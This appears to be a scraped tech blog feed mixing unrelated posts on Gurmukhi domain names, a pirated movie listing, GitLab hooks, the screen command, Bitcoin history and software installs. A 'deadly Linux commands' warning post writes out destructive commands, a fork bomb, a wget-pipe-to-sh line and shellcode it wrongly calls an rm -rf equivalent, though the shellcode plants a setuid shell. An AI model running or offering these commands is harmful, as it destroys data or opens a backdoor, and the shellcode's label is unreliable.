ਛੇਤੀ ਹੀ ਪੰਜਾਬੀ (ਗੁਰਮੁਖੀ) 'ਚ ਮਿਲਣਗੇ ਇੰਟਰਨੈਟ ਡੋਮੇਨ ਨਾਮ

ਪੰਜਾਬੀ ਜਗਤ ਲਈ ਇੱਕ ਵੱਡੀ ਖ਼ੁਸ਼ਖ਼ਬਰੀ  ਹੈ . ਛੇਤੀ ਹੀ ਇੰਟਰਨੈੱਟ ਡੋਮੇਨ ਨਾਮ ਪੰਜਾਬੀ ਭਾਵ ਗੁਰਮੁਖੀ ਲਿਪੀ ਵਿਚ ਹਾਸਲ ਕੀਤੇ ਜਾ ਸਕਣਗੇ . ਇਸ ਮੰਤਵ ਲਈ ਤੇਜ਼ੀ ਨਾਲ ਕੰਮ ਚੱਲ ਰਿਹਾ ਹੈ .
 ਇੰਟਰਨੈੱਟ ਡੋਮੇਨ ਨਾਵਾਂ ਦੀ ਰਜਿਸਟਰੇਸ਼ਨ ਪ੍ਰਕਿਰਿਆ ਦਾ ਪ੍ਰਬੰਧ ਅਤੇ ਨਿਗਰਾਨੀ ਕਰਨ ਵਾਲੀ ਸੰਸਥਾ ‘ਇੰਟਰਨੈੱਟ ਕਾਰਪੋਰੇਸ਼ਨ ਫ਼ਾਰ ਅਸਾਈਨਡ ਨੇਮਜ਼ ਐਂਡ ਨੰਬਰਜ਼’ (ICANN) ਨਾਮੀ  ਸੰਸਥਾ ਗੁਰਮੁਖੀ ਵਿਚ ਉੱਚ ਪੱਧਰ ਦੇ ਡੋਮੇਨ ਨਾਮ ਮੁਹੱਈਆ ਕਰਵਾਉਣ ਜਾ ਰਹੀ ਹੈ।

‘ਇੰਟਰਨੈੱਟ ਕਾਰਪੋਰੇਸ਼ਨ ਫ਼ਾਰ ਅਸਾਈਨਡ ਨੇਮਜ਼ ਐਂਡ ਨੰਬਰਜ਼’ ਦਾ ਮੁੱਖ ਕੰਮ ਅੰਤਰਰਾਸ਼ਟਰੀ ਡੋਮੇਨ ਨਾਮ (IDN) ਉਪਲਬਧ ਕਰਵਾਉਣਾ ਹੈ।
ਇਸ ਨਾਲ ਗੁਰਮੁਖੀ ਵਿਚ ਵੈੱਬ ਪਤਾ ਅਤੇ ਈਮੇਲ ਆਈਡੀ ਰਾਹੀਂ ਵੈੱਬਸਾਈਟ ਬਣਾਉਣੀ ਸੰਭਵ ਹੋਵੇਗੀ। ਹੁਣ ਜਲਦ ਹੀ ਕੋਈ ਵੀ ‘ਪੰਜਾਬੀਯੂਨੀਵਰਸਿਟੀ.ਪੰਜਾਬ’ ਦੀ ਤਰ੍ਹਾਂ ਸੰਪੂਰਨ ਡੋਮੇਨ ਸਿਰਨਾਵਾਂ ਰੱਖ ਸਕਦਾ ਹੈ।
 ਇਹ ਖੁਲਾਸਾ ਪੰਜਾਬੀ ਯੂਨੀਵਰਸਿਟੀ ਪਟਿਆਲਾ ਦੇ ਡੀਨ ਫੈਕਲਟੀ ਆਫ਼ ਕੰਪਿਊਟਿੰਗ ਸਾਇੰਸਿਜ਼ ਅਤੇ ਪੰਜਾਬੀ ਭਾਸ਼ਾ ਤਕਨਾਲੋਜੀ ਖੋਜ ਕੇਂਦਰ ਦੇ ਡਾਇਰੈਕਟਰ ਡਾ: ਗੁਰਪ੍ਰੀਤ ਸਿੰਘ ਲਹਿਲ ਨੇ ਕੀਤਾ। ਡਾ. ਲਹਿਲ ਅਨੁਸਾਰ ਚੋਟੀ ਦੇ ਡੋਮੇਨ ਨਾਵਾਂ ਨੂੰ ਗੁਰਮੁਖੀ ਵਿਚ ਜਨਤਕ ਤੌਰ ‘ਤੇ ਉਪਲਬਧ ਕਰਾਉਣ ਤੋਂ ਪਹਿਲਾਂ ਇਸ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਗੰਭੀਰ ਤਕਨੀਕੀ ਅਤੇ ਭਾਸ਼ਾਈ ਵਿਚਾਰ-ਵਟਾਂਦਰੇ ਰਾਹੀਂ ਪ੍ਰਵਾਨਿਤ ਕਰਨਾ ਪੈਂਦਾ ਹੈ। ਡੋਮੇਨ ਨਾਮ ਗੁਰਮੁਖੀ ਦੇ ਭਾਸ਼ਾਈ ਗੁਣਾਂ ਦੇ ਆਧਾਰ 'ਤੇ ਇੱਕ ਪ੍ਰਮਾਣਿਕ ​​ਅੱਖਰ ਲੜੀ ਵਿਚ ਹੋਣੇ ਚਾਹੀਦੇ ਹਨ। ਇਸ ਪ੍ਰਕਿਰਿਆ ਵਿਚ ਇੱਕੋ ਜਿਹੇ ਦਿੱਖਣ ਵਾਲੇ ਅੱਖਰਾਂ, ਪ੍ਰਮਾਣਿਕ ਤੌਰ ‘ਤੇ ਸਮਾਨ ਵਰਨਾਂ, ਵਿਅੰਜਨਾਂ ਤੇ ਸਵਰਾਂ ਦੇ ਭਾਸ਼ਾਈ ਨਿਯਮਾਂ ਦਾ ਪਾਲਨ ਕਰਨਾ ਲਾਜ਼ਮੀ ਹੁੰਦਾ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ ਫਿਸ਼ਿੰਗ ਹਮਲਿਆਂ ਸਮੇਤ ਸੁਰੱਖਿਆ ਦੇ ਹੋਰ ਮੁੱਦਿਆਂ ਨੂੰ ਵੀ ਧਿਆਨ ਵਿਚ ਰੱਖਣਾ ਚਾਹੀਦਾ ਹੈ।

ਇਸੇ ਸੰਦਰਭ ਵਿਚ 13-16 ਦਸੰਬਰ ਨੂੰ ਕੋਲੰਬੋ ਵਿਖੇ ਨਿਓ-ਬ੍ਰਹਮੀ ਕਮੇਟੀ ਦੀ ਉੱਚ-ਪੱਧਰੀ ਗੋਸ਼ਟੀ ਕੀਤੀ ਗਈ।

 ਡਾ. ਗੁਰਪ੍ਰੀਤ ਸਿੰਘ ਲਹਿਲ ਜਿਨ੍ਹਾਂ ਦੀ ਅਗਵਾਈ ਹੇਠ ਇਸ ਮੰਤਵ ਲਈ ਗੁਰਮੁਖੀ ਲਿਪੀ ਦੇ ਭਾਸ਼ਾਈ ਅਤੇ ਤਕਨੀਕੀ ਨਿਯਮ ਤਿਆਰ ਕੀਤੇ ਜਾ ਰਹੇ ਹਨ, ਨੂੰ ICANN ਦੁਆਰਾ ਵਿਸ਼ੇਸ਼ ਤੌਰ 'ਤੇ ਬੁਲਾਇਆ ਗਿਆ ਸੀ। ਡਾ. ਲਹਿਲ ਦੀ ਟੀਮ ਦੇ ਬਾਕੀ ਮੈਂਬਰਾਂ ਵਿਚ ਡਾ. ਹਰਵਿੰਦਰਪਾਲ ਕੌਰ, ਡਾ. ਪਰਮਜੀਤ ਸਿੰਘ ਸਿੱਧੂ ਅਤੇ ਡਾ. ਬੂਟਾ ਸਿੰਘ ਬਰਾੜ ਸ਼ਾਮਲ ਹਨ। ਡਾ. ਲਹਿਲ ਅਨੁਸਾਰ ਗੁਰਮੁਖੀ ਅਤੇ ਹੋਰ ਭਾਰਤੀ ਲਿਪੀਆਂ ਵਿਚ ਵੈੱਬਸਾਈਟ ਨਾਵਾਂ ਦੀ ਸਹੂਲਤ ਇੰਟਰਨੈੱਟ ਨੂੰ ਇੱਕ ਸੱਚਮੁੱਚ ਆਲਮੀ ਅਤੇ ਬਹੁਭਾਸ਼ਾਈ ਟੂਲ ਵਿਚ ਤਬਦੀਲ ਕਰਨ ਦੀ ਸੰਭਾਵਨਾ ਨੂੰ ਹੋਰ ਵਧਾਏਗੀ ਅਤੇ ਇੰਟਰਨੈੱਟ ਦੇ ਕੌਮਾਂਤਰੀਕਰਣ ਵੱਲ ਉਚੇਰੀ ਪਹਿਲ ਹੋਵੇਗੀ। ਇਸ ਨਾਲ ਗੁਰਮੁਖੀ ਅਤੇ ਦੂਜੀਆਂ ਭਾਰਤੀ ਭਾਸ਼ਾਵਾਂ ਵਿਚ ਮਜ਼ਮੂਨ ਤਬਦੀਲ ਕਰਨਾ ਸੁਖਾਲਾ ਹੋਵੇਗਾ

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Jumanji: Welcome to the Jungle 2017 Full Movie Download Mp4 Mkv

Jumanji: Welcome to the Jungle 2017 Full Movie Download Mp4 Mkv

Jumanji Welcome to the Jungle (2017) CamRip 480p HDmovie8.MP4 (Latest Added On 2017-12-26 02:31:54)


Jumanji Welcome to the Jungle (2017) HDCAM Latino 720p Spacemov.io.MP4

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Top 10 Certifications For 2018 & Highest Paying IT Certifications 2018 By Edureka

Top 10 Certifications For 2018 & Highest Paying IT Certifications 2018 By Edureka

In This Highly Competitive IT Industry, Acquiring A Globally-Recognized Professional Certification Is The Best Way To Not Only Learn A Technology/Tool, But To Also Back It Up With Authoritative Validation. So, We At Edureka Have Prepared A List Of Top 10 Certifications For 2018 That Will Help You To Boost Your Career And Have A Good Salary Hike.


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Computer Knowledge

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How to Shutdown Your PC Automatically Using Timer (Windows 10) By Geeks Tutorial

How to Shutdown Your PC Automatically Using Timer (Windows 10) By Geeks Tutorial.

How to Shut Down Your PC Automatically at a Set Time On Windows 10 Using a Shutdown Timer!

Download Shutdown Timer Tool :- https://goo.gl/3uw69p (R.T.G NINJA SHUTDOWN)


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Computer Knowledge

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9 Deadly Commands !! You Should Not Run on Linux

We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
(i.e) Running commands in terminal without proper knowledge about them may break your system.

In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity ☻ , enormous in trust and lots of  ♥   on Linux.

So , here i listed some deadly Linux commands which you should not run on your Linux box .

Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
On other Linux distributions, most commands must be run as root.

➊     rm -rf / [ This will Delete Everything! ]

The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

➋    Hidden version of rm -rf command [Alternte version of rm -rf /]

The command shown below is just a hex version of rm -rf / command.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

➌    :(){ :|: & };: [ Fork Bomb ]

This is actually a bash function which creates new copies of itself .
This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
 

:(){ :|: & };:

operation of this function:

This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

warning:This function even no need root permissions.

➍    mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)

mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])

(wiping sda1 is similar to wiping C drive on windows.)

This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

NOTE:

Beware of running commands directly on hard disk devices that begin with /dev/sd.

➎    command > /dev/sda

The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.

command - Run a command (can be any command.)

> - Send the output of the command to the following location.

/dev/sda - Write the output of the command directly to the hard disk device.

➏    mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

/dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.

mv - Move the following file or directory to another location.

~ - Represents your entire home folder.

/dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.

➐    dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

dd - Perform low-level copying from one location to another.

if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).

of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.

➑    wget http://malicious_source -O- | sh [Downloads and Runs a Script]

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.

wget - Downloads a file. (You may also see curl in place of wget.)

http://example.com/something - Download the file from this location.

| - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh - Send the file to the sh command, which executes it if it's a bash script.

➒    > file [Flush out your file]

This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.

> file

One more command .. sudo chmod -R 777 /  

This is one more command which will create undesirable things..

sudo chmod -R 777 / 

This command will give everyone to do anything (read, write, execute) on your system ..

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Custom Gitlab Hooks

Gitlab installation

Update linux machine with yum update.

yum -y update

Once update is completed install postfix for notifications. 

yum install postfix

service postfix start

chkconfig postfix on

Add the GitLab package repository and install the package

curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.rpm.sh | bash

Install gitlab package. Here specify the External URL you want gitlab to be accessed.

EXTERNAL_URL="http://192.168.100.25" yum -y install gitlab-ee

If you need to change EXTERNAL_URL or IP address of the host where gitlab is installed following are the steps.

1. Modify external_url parameter in file /etc/gitlab/gitlab.rb

2. gitlab-ctl reconfigure

Start gitlab with command below

gitlab-ctl start

Configure gitlab on 8888 port so that apache can be started on port 80.

Open /etc/gitlab/gitlab.rb and modify 

nginx['listen_port'] = nil to nginx['listen_port'] = 8888

external_url 'http://192.168.100.25' to external_url 'http://192.168.100.25:8888'

Once modification completes execute reconfigure command

gitlab-ctl reconfigure

Restart gitlab to get the new setting in effect.

gitlab-ctl restart

Login to gitlab external url with following address

http://192.168.100.25:8888

Once you open page for the first time you need to set the root user password. Type root user password and click on Submit.

Now register new user. Click on Create project to add new gitlab project.

Set Project name. Click on Create Project.

 Clone git repository locally.

git clone http://192.168.100.25:8888/dmaharjan/dilli_com_np.git

Add index page on local repository.

cd dilli_com_np

echo "This is index page" >> index.html

Add file, commit and push to git remote repository.

git add .

git commit -m "Adding index.html"

git push

Install apache. In our case apache server is web hosting for the client.

yum -y install httpd

Change directory to /var/www/html and clone git repo.

git clone http://dmaharjan@192.168.100.25:8888/dmaharjan/dilli_com_np.git

The page is accessible with the URL below:

http://192.168.100.25/dilli_com_np/index.html

Change directory to remote repository in our case /var/opt/gitlab/git-data/repositories/dmaharjan/dilli_com_np.git . Here dmaharjan is repos user and dilli_com_np is repository directory.

cd /var/opt/gitlab/git-data/repositories/dmaharjan/dilli_com_np.git

Create directory custom_hooks

Create hook file named post-receive with the content below

#!/bin/bash

cd /var/www/html/dilli_com_np

sudo /usr/bin/git stash

sudo /usr/bin/git pull

Change ownership of hook file and make it executable.

chown -R git:git post-receive 

chmod 755 post-receive 

Change sudo configuration and add following

git         ALL=NOPASSWD: /usr/bin/git stash, /usr/bin/git pull

Change ownership of /var/www/html/dilli_com_np

chown -R apache:apache /var/www/html/dilli_com_np

Login as user git and verify sudo is working for user git. Make sure Password is not required for sudo and git pull

Now change the content of the local repo, add the file, commit it and push it. The hook should be executed and change should be reflected immediately on the web directory.

Change directory to local repository and add content to the file.

echo "Adding new line 1" >> index.html 

git add .

git commit -m "Testing hook"

git push

View change on the web directory.

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How to Make a Coupon Website in WordPress - 2018 By Nayyar Shaikh

How to Make a Coupon Website in WordPress - 2018 By Nayyar Shaikh.

How to Make a Coupon Website in WordPress - 2018 like RetailMeNot, GroupOn, Zulily, CouponDunia etc.

Coupon Theme :- http://bloggdude.com/coupon

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Video Step By Step :

• Introduction
• How to Get Hosting and Domain
• Install WordPress
• Install Coupon Theme
• Create Coupons
• Import Free Media and Coupons
• Coupon Categories
• Author Settings
• Theme Options - General Settings
• Performance Settings
• Styling Options
• Header Building
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• HomePage - Carousel 
• HomePage - Slider
• HomePage - Category Tabs
• HomePage - Social Icons
• Popular Stores
• Signup Form
• Coupon Archive
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• Other Settings
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• Menus
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Unix(Linux,Mac) Screen Command

Hey techies! How’s it going? I couldn’t share a blog post on unix for a while. So I thought of writing one for you guys and you are going to love it(wink-face). Do you know what we are going to talk about? Today we are going to talk about “Screen“(excited-face). The screen command works on both unix based operating systems such as linux, mac. Brace yourself mac/linux lovers. It’s a very useful command. I’m sure once you learn it, you are gonna use it everyday. We’ll start with the basics. Then we’ll dive into some command line examples as well. Are you ready? here we go(happy-face).

What’s the Screen Command?

Screen is a full-screen window manager that multiplexes a physical terminal between several processes (typically interactive shells). Each virtual terminal provides the functions of a DEC VT100 terminal and, in addition, several control functions from the ISO 6429 (ECMA 48, ANSI X3.64) and ISO 2022 standards (e.g. insert/delete line and support for multiple character sets).

That’s what man page says but I would like to describe it in plain english so that everyone can understand what it is. It’s like this. The screen program allows you to use multiple windows in Unix. In other words the screen command lets you detach from a terminal session and then attach it back at a later time. To be able to do that you should be in a screen session. Just using the terminal won’t let you do that. Best part is even when you are detached from the terminal session, the process that was originally started under the screen session is still running and managed by the screen. You can reattach to the particular screen session at a later time when you need to and your terminals are still there, the way you left them. You got nothing to worry about(happy-face).

How to install the screen command(only not exists)?

The Screen command has been installed by default in most linux system as well as mac os x. But, in some Linux systems do not have screen installed by default, So you need to install it first using apt-get command before using it. Check out the below command. You might need sudo for this.

# apt-get install screen

1	# apt-get install screen

When to use the screen command?

This is a very interesting part before we jump into how to use it. Knowing the commands won’t help you if you don’t apply them in your work to get the work done effectively and efficiently. That’s why I’m here to teach you. You might find the screen command helpful in many cases. Here is my list. By the way if you are already using the screen command and if your way of using the screen command is not in the list below, don’t forget to tell me in the comments below.

• When you only can access single terminal, you can use the screen command to make the single terminal into multiple, and execute several commands in different screen sessions.
• When you want to make a process keep running but not as a daemon(so whenever you want you can check what’s happening by attaching to the particular screen session) while you are make use of the terminal for other work.
• When you want to have a command line session password protected. In other words locked.
• When you want to have a command line session shared among few others user. It’s called multi user sessions.

How to use the screen command?

Okay it’s that moment you have been waiting for. How to use?(excited-face) This is what we are going to do. I’ll teach you the basics. If you are interested you can find out about the screen command more. Let’s get our hands dirty. I mean start using the screen command(laugh-face). Note that you are on a mac you will have to use control key instead of ctrl key.

Create a new Screen session

screen #creates a default session

1	screen #creates a default session

screen -S name #creates a session with a name. name can be used to reattach at a later stage

1	screen -S name #creates a session with a name. name can be used to reattach at a later stage

If you don’t provide a name it uses [pid.]tty[.host] format to name the screen session. pid will be used when reattaching to the screen session.

Detach from a screen session

Ctrl-a d #detach from the current screen session you are in

1	Ctrl-a d #detach from the current screen session you are in

screen -d SCREENID #when the command screen is running in another terminal, remote detach

1	screen -d SCREENID #when the command screen is running in another terminal, remote detach

List screen sessions

screen -ls #it will list all the existing screen sessions

1	screen -ls #it will list all the existing screen sessions

Reattach to a screen session

screen -r #attaches to default session. this works only if you have one screen session

1	screen -r #attaches to default session. this works only if you have one screen session

screen -r <screenid> #attaches to particular screen session

1	screen -r <SCREENID> #attaches to particular screen session

screen -r name #attaches to specific session (unique name specified during the creation of the screen session )

1	screen -r name #attaches to specific session (unique name specified during the creation of the screen session )

Kill the attached screen session

 CTRL-a k #it will ask "Really kill his window [y/n]". y for yes, n for no

1	CTRL-a k #it will ask "Really kill his window [y/n]". y for yes, n for no

Kill the deattached screen session

screen -X -S SCREENID quit

1	screen -X -S SCREENID quit

screen -S SCREENID -X quit

1	screen -S SCREENID -X quit

Screen session with logs

screen -L #-L Tell screen to turn on automatic output logging for the windows.

1	screen -L #-L Tell screen to turn on automatic output logging for the windows.

The output is saved to screenlog.n file, where n is a number. To view the file use below commands. You can also use Ctrl-a + H to save logs into screenlog.n file. One more Ctrl-a + H to turn off. Is it possible to name the ‘screen’ logfile from the -L flag? Yes.

less -r /home/dasunhegoda/screenlog.0

1	less -r /home/dasunhegoda/screenlog.0

cat /home/dasunhegoda/screenlog.0

1	cat /home/dasunhegoda/screenlog.0

Lock screen session

CTRL-a x #it will lock your screen session quickly while you are in the screen session

1	CTRL-a x #it will lock your screen session quickly while you are in the screen session

Tips & Tricks

 

How to scroll up in a screen

When you are in a screen you can’t scroll up like in the command line. To be able to scroll you have to follow below steps.
Step 1

CTRL-a Esc

1	CTRL-a Esc

Step 2
Press the “Up” and “Down” arrow keys or the “Page Up” and “Page Down” keys to scroll through the output.
Step 3
Press “Esc” to exit scroll back mode(copy mode).

Screen key bindings

Below will show all the screen key bindings. You don’t have to remember a thing.

CTRL-a ?

1

CTRL-a ?

You might want to go through the man page as well. Check out this link and this link to get to know more about screen command. That’s all about the screen command. Do you have any question about the screen command? Comments below are open for you. Your feedback is highly appreciated (happy-face).

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What is Bitcoin & Quick Bitcoin History

Bitcoin Is A Cryptocurrency And Worldwide Payment System. It Is The First Decentralized Digital Currency, As The System Works Without A Central Bank Or Single Administrator. The Network Is Peer-To-Peer And Transactions Take Place Between Users Directly Through The Use Of Cryptography, Without An Intermediary. These Transactions Are Verified By Network Nodes And Recorded In A Public Distributed Ledger Called A Block Chain. Bitcoin Was Invented By An Unknown Person Or Group Of People Under The Name Satoshi Nakamoto And Released As Open-Source Software In 2009.

Bit Coins Are Created As A Reward For A Process Known As Mining. They Can Be Exchanged For Other Currencies, Products, And Services. As Of February 2015, Over 100,000 Merchants And Vendors Accepted Bitcoin As Payment. Research Produced By The University Of Cambridge Estimates That In 2017, There Are 2.9 To 5.8 Million Unique Users Using A Cryptocurrency Wallet, Most Of Them Using Bit Coin.

Quick Bitcoin History:

2008

Satoshi Nakamoto Created Bitcoin In 2008.

August 18, The Domain Name Bitcoin Org Was Registered.


2009

January 21, The First Bitcoin Transaction Was Made.


2010

February 6, The First Official Bitcoin Market Was Opened.

May 22, The First Online Bitcoin Purchase. Somebody Bought 2 Pizzas For 10 000 Bit Coins. Today, 10 000 Bit Coins Are Worth Around $110 000 000.

October 16, Btc Is Purchased & Traded As A Currency For The First Time.

November 6, Bitcoin Capitalization Amounted To $1 000 000.

2011

February 9, Bitcoin Equaled To The Dollar Value.

April 16, The Official Press Payed Attention To Bit Coins For The First Time. Time Magazine Published An Article About Crypto Currency.

April 23, The Btc/Usd Rate Reached And Exceeded The Usd/Eur And The Usd /Gbp Rate On The Mtgox Market. Total Bitcoin Capitalization Has Reached $ 10 Million.


2012

In 2012, Bitcoin Central Bank Received A License And Btc Has Turned Into Something Real As Compared To Its Previous Status Of An Abstract Digital Currency.

2013

April, The Biggest Fall In The Btc Rate Has Occurred By 80% In 24 Hours.

November, For The First Time The Price Of Btc Exceeded The Price Of Gold.

2014

January, The First Secure Bit Coins Depository, Elliptic Vault, Was Opened In London.

December, The Bitcoin Rate Reached $310. 2014 Can Be Considered As Stabilizing For Bit Coin, Which Was A Sign Of The Currency Strengthening.

2015

October, Btc Price Exceeded $500 – A Favorable Moment For The Digital Currencies Development History.

2016

Since Early 2016, Bitcoin Has Increased In Value by Approximately 120 %; Btc Exchange Rate Fluctuated Between $350400

By Mid-June, the Btc Rate Has Doubled and Reached $ 720

December, an Incredible Breakthrough, the Cost of Btc Grew By $ 200 per Month, and Market Capitalization Exceeded $ 15 Billion.

2017

Now, Coming Towards Dec 2017, Value Of A Bitcoin Is Roughly Rs 9, 12,163 ++++ Can You Even Imagine How Big It Will Be In The Coming Following Years?

Source : Internet

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Generates Fake Temporary International Numbers With Android Apps

Top Best Apps To Make Free Calls From Internet To Mobile. Have You Ever Idea Of Making Free Calls From Internet To Cell? Yes, it’s Possible. By Making A Number Of The Web Services And Mobile Apps You Could Make Free Calls From Internet To Mobile.

1. VIRTUAL SIM
https://play.google.com/store/apps/details?id=com.virtualsimapp

2. SMARTCALL
https://www.mediafire.com/download/spowk1aramg9vrz

3. TALK2
https://play.google.com/store/apps/details?id=com.voyagerinnovation.talk2

4. PRIMO
https://play.google.com/store/apps/details?id=com.primo.mobile.android.app

5. FREE TONE
https://play.google.com/store/apps/details?id=com.textmeinc.freetone

6. HUSHED
https://play.google.com/store/apps/details?id=com.hushed.release

7. GROOVE IP CALL
https://play.google.com/store/apps/details?id=com.snrblabs.grooveip

8. TALKTONE 5.4.4
https://www.mediafire.com/download/8ldppguxt8eprfx

9. SWYTCH
https://play.google.com/store/apps/details?id=com.swytch.mobile.android


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Computer Knowledge

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How To Install Kali Linux 2017.3 Directly on Laptop & Desktop PC By SSTec Tutorials

How To Install Kali Linux 2017.3 Directly on Laptop & Desktop PC By SSTec Tutorials

Kali Linux Installation Directly On Any Laptop Or PC Using Kali Linux Bootable USB With All The Error Fix Of Kali Linux Installs. This Video Is About How To Install Kali Linux Directly On Laptop Or Desktop Pc Using USB Bootable Kali Linux Pen Drive Complete Step By Step Tutorials, This Is A Complete Workable Tutorial Of Haw To Install Kali Linux On Any Laptop Or PC,

Kali Linux Downlod : https://www.kali.org/downloads

Rufush USB Installer Download : https://rufus.akeo.ie/


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Computer Knowledge

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How To Install VLC 3.0 RC2 On Ubuntu 17.04, 17.10

   VLC Media Player is one of the most prominent and also durable multi format, free of charge media player available

Using open source technologies and libraries, VLC has been ported to most computing platforms, including GNU/Linux, Windows, Mac OS X, BSD, iOS and Android. VLC can play most multimedia files, discs, streams, allows playback from devices, and is able to convert to or stream in various formats.


VLC 3.0 Changelog:

• Support network browsing for distant file system (SMB, FTP, SFTP, NFS...) and rewrite the parsing of the media files
• Support keystores: fetch and store passwords securely (sic!) for common protocols (HTTP, SMB, SFTP, FTP, RTSP ...)
• Autodetect external audio tracks (ac3, m4a, aac, dts...), similar to subtitles
• Support HDMI passthrough for Audio HD codecs, like E-AC3, TrueHD or DTS-HD
• Support for 12bits codec and extended colorspaces (HDR)
• Support output renderers, like ChromeCast
• VLC now assumes vlcrc config file is in UTF-8
• Support portable version of Windows build (create a "portable/" folder)
• Support wayland surface type
• Allow to start the video paused on the first frame
• Refactor preparsing input
• EPG reworked: table and single event updates, now using network time
• Refactored and fixed subtitles es selection. Demuxers can now override es category single only or multiple es behavior
• Support for 360 video and audio, including viewpoint setting
• Support for ambisonic audio and more than 8 audio channels
• Support subtitles size live changing
• See changelog for more

Installation instructions:

    Run the following commands in Terminal to install  VLC via snap for Ubuntu 16.04 and higher

$ snap apt-get update $ snap install vlc --candidate

Once installed, run the following command to launch VLC 3.0:

$ /snap/bin/vlc

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How to install Virtualbox 5.2.4 Fixed Gnome on Ubuntu 17.04, 17.10

  VirtualBox  is a powerful x86 and AMD64/Intel64 virtualization product for enterprise as well as home use. Not only is VirtualBox an extremely feature rich, high performance product for enterprise customers, it is also the only professional solution that is freely available as Open Source Software under the terms of the GNU General Public License (GPL) version 2.

Virtualbox 5.2.4 Changelog:

• User interface: Adjusting desktop file for X11 window managers
• User interface: various high resolution display adjustments
• Audio: fixed SB16 volume handling (5.2 regression)
• Audio: various fixes
• USB/OHCI: fixed a problem where OHCI emulation might sporadically drop data transfers
• Linux hosts: fixed screen corruption when the host screen changes and a virtual machine window is maximized
• X11 Guest Additions: fixed a hang at the GNOME Shell login screen with 3D enabled

Installation instructions:

1. Open terminal via Ctrl+Alt+T or from application launcher. Remove old Virtualbox via command:

$ sudo apt-get remove virtualbox virtualbox-5.1

2. Add the repository via command:

$ sudo sh -c 'echo "deb http://download.virtualbox.org/virtualbox/debian xenial contrib" >> /etc/apt/sources.list.d/virtualbox.list'

Replace xenial (for Ubuntu 16.04) with trusty (for 14.04, Mint 17.x, eOS 0.3), zesty (for Ubuntu 17.04) or artful (for Ubuntu 17.10).

3. Download and install the repository key via command:

$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add - $ wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -

4. Running command update and install:

$ sudo apt-get update $ sudo apt-get install virtualbox-5.2

Once installed, open the Virtualbox from Ubuntu Dash.

(Optional) To remove Virtualbox 5.2, use command:

$ sudo apt-get remove virtualbox virtualbox-5.2

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